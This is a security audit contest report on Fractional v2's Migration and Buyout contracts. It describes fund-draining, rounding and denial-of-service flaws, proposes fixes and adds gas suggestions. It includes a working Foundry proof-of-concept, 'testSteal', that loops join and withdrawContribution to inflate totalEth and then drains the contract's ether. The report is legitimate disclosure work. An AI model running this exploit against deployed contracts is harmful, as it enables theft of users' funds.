Fractional v2 contest - MEP's results

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L292

Vulnerability details

Ethers are at risk

Any user can take all ethers on the migration.sol contract.

This critical failure comes from the ability to manipulate totalEth. Indeed, there is no distinction between a buyout that is not yet started, and a buyout that is over. Both are in state INACTIVE.

Thus, it is possible to use withdrawContribution before the buyout starts, instead of leave. The function withdrawContribution gives the ether back, but doesn't decrease totalEth. Consequently, anyone can repeatedly join a migration, increasing totalEth with the sent value, and then withdrawContribution, recovering its ethers. totalEth can then be artificially increased to an arbitrary value.

It has many consequences:

1. Obtaining the whole balance of migration.sol: Someone who has 100% of the supply of a vault can start a migration, increase totalEth to exactly the full balance of migration.sol, then commit to start the buyout process with the increased totalEth, and sell every tokens he has, to get the full amount. This is highly unwanted.
2. The variable _targetPrice of a proposal becomes totally useless because every proposal can reach an arbitrary high price.

Fix : use another state to describe a buyout that is over.

Fractional tokens are at risk

Similarly, withdrawContribution does not update totalFractions. An attacker can repeatedly join and withdrawContribution, and totalFractions can be artificially increased to an arbitrary value.

One of the bad consequences is that anyone can withdraw all the fractional tokens of the new vault in a successfull migration. Indeed, in migrateFractions, the amount of new tokens transfered to the user, shareAmount, is proportional to balanceContributedInEth, which is proportional (affine to be realy precise) to totalInEth, which can be arbitrarily increased, by making the denominator of the fraction tend to 0, by increasing totalFractions (l.528).

Test for eth at risk

// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.13;

import "./TestUtil.sol";
import '../src/interfaces/IVaultRegistry.sol';
import '../src/interfaces/IERC1155.sol';
interface LocalIMigration{
    function migrationInfo(address, uint256)
        external
        view
        returns (
            uint256 startTime,
            uint256 targetPrice,
            uint256 totalEth,
            uint256 totalFractions,
            address newVault,
            bool isCommited,
            uint256 oldFractionSupply,
            uint256 newFractionSupply,
            bool fractionsMigrated
        );
}

contract testHigh is TestUtil {

    function setUp() public {
        setUpContract();
        alice = setUpUser(111, 1);
        bob = setUpUser(222, 2);

        vm.label(address(this), "MigrateTest");
        vm.label(alice.addr, "Alice");
        vm.label(bob.addr, "Bob");
    }


    function testSteal() public{


        //amount on migration.sol, stealable - SETUP
        uint256 amountStealable = 2 ether;
        vm.deal(address(migrationModule), amountStealable);
        
        //this function is already implemented so we use to facilitate the setup
        //it can directly a vault 100% owned by bob so no need to transfer
        initializeMigration(alice, bob, TOTAL_SUPPLY, TOTAL_SUPPLY, true);
        //here bob has 100% of the supply so he will get 100% of totalEth

        (nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
        // Migrate to a vault with no permissions (we don't really care here)
        address[] memory modules = new address[](1);
        modules[0] = address(mockModule);
        // Bob makes the proposal
        bob.migrationModule.propose(
            vault,
            modules,
            nftReceiverPlugins,
            nftReceiverSelectors,
            TOTAL_SUPPLY * 2,
            1 ether
        );
        
        uint256 bobBalanceBeforeManipulation = address(bob.addr).balance;

        //increase totalEth, cost 0 eth
        bob.migrationModule.join{value: 0.5 ether}(vault, 1, 0);
        bob.migrationModule.withdrawContribution(vault, 1);

        bob.migrationModule.join{value: 0.5 ether}(vault, 1, 0);
        bob.migrationModule.withdrawContribution(vault, 1);

        bob.migrationModule.join{value: 0.5 ether}(vault, 1, 0);
        bob.migrationModule.withdrawContribution(vault, 1);

        bob.migrationModule.join{value: 0.5 ether}(vault, 1, 0);
        bob.migrationModule.withdrawContribution(vault, 1);

        uint256 bobBalanceAfterManipulation = address(bob.addr).balance;
           
        (,,uint256 totalEth,,,,,,) = LocalIMigration(address(bob.migrationModule)).migrationInfo(address(vault),1);

        console.logString("Manipulation costed to bob :");
        console.logUint(bobBalanceAfterManipulation-bobBalanceBeforeManipulation);
        console.logString("totalEth = ");
        console.logUint(totalEth);
        
        vm.warp(proposalPeriod + 1);
        //we start the buyout
        bool started = bob.migrationModule.commit(vault, 1);
       

        (address token, uint256 id) = IVaultRegistry(registry).vaultToToken(vault);
        vm.prank(address(bob.addr));
        IFERC1155(token).setApprovalFor(address(buyout), id, true);


        //and we sell everything
        bob.buyoutModule.sellFractions(vault, TOTAL_SUPPLY);

        console.logString("There was to steal :");
        console.logUint(amountStealable);
        console.logString("Bob stealed :");
        console.logUint(address(bob.addr).balance - bobBalanceBeforeManipulation);


    }

}

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L451-L472

Vulnerability details

Due to rounding errors in the computation of the new balances of fractional tokens (in the function migrateFractions of the contract Migration), some of the new fractional tokens may remain on the contract forever. It is severe because some modules assume that the total supply is entirely distributed. For example, the module Buyout has a function redeem which is intended to be called by an user who owns the total supply of the fractional tokens. But in the vault that results of a migration, some tokens can be stuck: no one can own all the resulting supply.

Test

// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.13;

import "./TestUtil.sol";
import '../src/interfaces/IVaultRegistry.sol';
import '../src/interfaces/IERC1155.sol';
interface LocalIMigration{
    function migrationInfo(address, uint256)
        external
        view
        returns (
            uint256 startTime,
            uint256 targetPrice,
            uint256 totalEth,
            uint256 totalFractions,
            address newVault,
            bool isCommited,
            uint256 oldFractionSupply,
            uint256 newFractionSupply,
            bool fractionsMigrated
        );
}

contract testMedium is TestUtil {

    function setUp() public {
        setUpContract();
        alice = setUpUser(111, 1);
        bob = setUpUser(222, 2);

        vm.label(address(this), "MigrateTest");
        vm.label(alice.addr, "Alice");
        vm.label(bob.addr, "Bob");
    }

    function testRoundings() public{

        initializeMigration(alice, bob, TOTAL_SUPPLY, TOTAL_SUPPLY / 2, true);
        (nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
        // Migrate to a vault with no permissions (just to test out migration)
        address[] memory newModules = new address[](2);

        newModules[0] = migration;
        newModules[1] = modules[1];

        // Bob makes the proposal
        bob.migrationModule.propose(
            vault,
            newModules,
            nftReceiverPlugins,
            nftReceiverSelectors,
            TOTAL_SUPPLY * 2,
            1 ether
        );

        (address token, uint256 id) = IVaultRegistry(registry).vaultToToken(vault);

        // Bob joins the proposal
        bob.migrationModule.join{value: 3 ether}(vault, 1, 3467);
        alice.migrationModule.join{value: 2 ether + 1}(vault, 1, 4029);

        vm.warp(proposalPeriod + 1);
        // Bob calls commit to kickoff the buyout process
        bool started = bob.migrationModule.commit(vault, 1);
        assertTrue(started);

        vm.warp(proposalPeriod + rejectionPeriod + 2);
        bob.buyoutModule.end(vault, burnProof);

        bob.migrationModule.settleVault(vault, 1);
        bob.migrationModule.settleFractions(vault, 1, mintProof);

        bob.migrationModule.migrateFractions(vault, 1);
        alice.migrationModule.migrateFractions(vault, 1);

        console.log("Alice's balance:");
        console.logUint(IERC1155(token).balanceOf(address(alice.addr), id+1));
        console.log("Bob's balance:");
        console.logUint(IERC1155(token).balanceOf(address(bob.addr), id+1));
        console.log("Migration's balance:");
        console.logUint(IERC1155(token).balanceOf(address(migrationModule), id+1));
    }
}

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L150

Vulnerability details

In the contract Buyout.sol, everyone can start() (l.57) a buyout for any given Vault, at a very low cost (by sending 1 wei, and 0 fractional token). The state of the buyout related to the vault then becomes LIVE (l.94). The issue is that several functions of the protocol require an INACTIVE state, including:

• start() (Buyout.sol, l.57)
• redeem() (Buyout.sol, l.278)
• propose() (Migration.sol, l.72)
• join() (Migration.sol, l.105)
• leave() (Migration.sol, l.141)
• join() (Migration.sol, l.105)
• commit() (Migration.sol, l.179)
• withdrawContribution() (Migration.sol, l.292)

This means that any of these functions can be blocked at any moment by anyone, for a duration of 4 days (a buyout lasts 4 days). By repeatedly starting a buyout avery 4 days, an attacker could then totally block the use of all the functions listed above, for a given vault.

This is critical because the funds deposited in the Migration contract can only be withdrawn by leave() or withdrawContribution() (and both of these functions are concerned by the issue). As a consequence, an attacker can freeze all the funds in Migration, by applying this technique to all the vaults with funds in Migration.

One could then imagine a war of frontrunning at the end of the 4 days, between users willing to withdraw their funds, and the attacker willing to start a new buyout to block the funds again.

A potential fix would be to allow multiple buyouts at the same time, with an id associated to each buyout.

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L172 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L325

Vulnerability details

In Migration.sol L172 and L325, _sendEthOrWeth shoud be used instead of the native transfer function, or else the funds of an user can be stuck. Imagine an user is using this contract through a contract that has a non-empty fallback function (like a multisig) the funds of the user can be stuck (the user can join but not leave for example).

• Plugin selector collisions with other plugins or with actual Vault functions selectors are not handled: -- If a two plugin have the same selector, the second one will erase the first one. -- If a plugin has the same selector as a function existing in Vault.sol (for instance the selector of multicall() or of transferOwnership(address)) then this selector won't be reachable because the fallback function won't be reached, the actual function of Vault.sol will be called instead. Proposed fix: use a mapping (bytes4 => bool) of the already used selector, that contains at the begining all the selectors of the actual functions, and that tracks the selectors used by the plugins.

• Reentrancy risk - Best practice: make ERC1155 safeTransferFroms and ether transfers at the end of functions when possible. Dangerous reentrency patterns : in Migration.sol L312, in Buyout.sol L168.

• In Buyout.sol L21, not "51%" but ">50%" according to the code.

• In Buyout.sol L333 wrong comment, "ERC721" instead of "ERC20".

• In Migration.sol L41, nextId should be named lastId or previousId, because it's the id of the last proposal, not the next one.

• The module Migration should also include the permissions from the module Buyout. Indeed, if someones adds the module Migration only (without the module Buyout, it won't have enough permissions to work correctly (some functions during the buyout phase will revert).

• In the contract Migration, we can call join, leave, and withdrawContribution with non valid _proposalId (equal to zero or above nextId). It can lead to unexpected behaviours.

• All basic loops can be optimized with:

for (uint256 i; i < length;) {
    // loop content
    unchecked{++i;}
}

Unoptimized loops appear in Vaul.sol L78, L104; in BaseVault.sol L64, L83, L107; in MerkleBase.sol L51.

• The length of an array shouldn't be loaded from storage (with [array].length) at each execution of the loop, and should be stored in memory instead. It appears in Buyout.sol L454; in BaseVault.sol L64, L83, L107, L130, L132; in MerkleBase.sol L110, L51.

• Custom errors save gas. Appears in MerkleBase.sol L62, L78; in FERC1155.sol L297.

• The following variables can be immutable : registery in BaseVault.sol L19; registry, supply and transfer in Buyout.sol L29, L31 and L33.

• In Buyout.sol, calling externally buyoutInfo (this.buyoutInfo(_vault)) wastes ~2000 gas (L66, L198, L251, L283, L322, L354, L390 and L427). Instead, define a variable Auction memory auction = buyoutInfo[_vault], and use its members (ex. auction.state) at the place of the variables defined in the tuple.

• In the function generateMerkleTree of the contract Migration.sol, the variables should not be declared in each execution of the loop. Fix:

function generateMerkleTree(address[] memory _modules)
        public
        view
        returns (bytes32[] memory hashes)
    {
        uint256 treeLength;
        uint256 modulesLength = _modules.length;

        unchecked {
            for (uint256 i; i < modulesLength; ++i) {
                treeLength += IModule(_modules[i]).getLeafNodes().length;
            }
        }

        uint256 counter;
        uint256 leavesLength;
        bytes32[] memory leaves;
        hashes = new bytes32[](treeLength);
        unchecked {
            for (uint256 i; i < modulesLength; ++i) {
                leaves = IModule(_modules[i]).getLeafNodes();
                leavesLength = leaves.length;
                for (uint256 j; j < leavesLength; ++j) {
                    hashes[counter++] = leaves[j];
                }
            }
        }
    }

• Migration.sol, l.45: migrationInfo is a mapping vault => migration ID => Proposal. But migration ID is unique, one could just use a mapping: migration ID => Proposal (we just need to add vault in Proposal)

• The function hashLeafPairs of the contract MerkleBase can be optimized (it was left in a TODO, done):

function hashLeafPairs(bytes32 _left, bytes32 _right)
        public
        pure
        returns (bytes32 data)
    {
        // Return opposite node if checked node is of bytes zero value
        if (_left == bytes32(0)) return _right;
        if (_right == bytes32(0)) return _left;

        assembly {
            switch gt(_left, _right)
            case 0 {
                mstore(0x0, _left)
                mstore(0x20, _right)
            }
            default {
                mstore(0x0, _right)
                mstore(0x20, _left)
            }
            data := keccak256(0x0, 0x40)
        }
    }

As an answer to the TODO, it saves ~150 gas.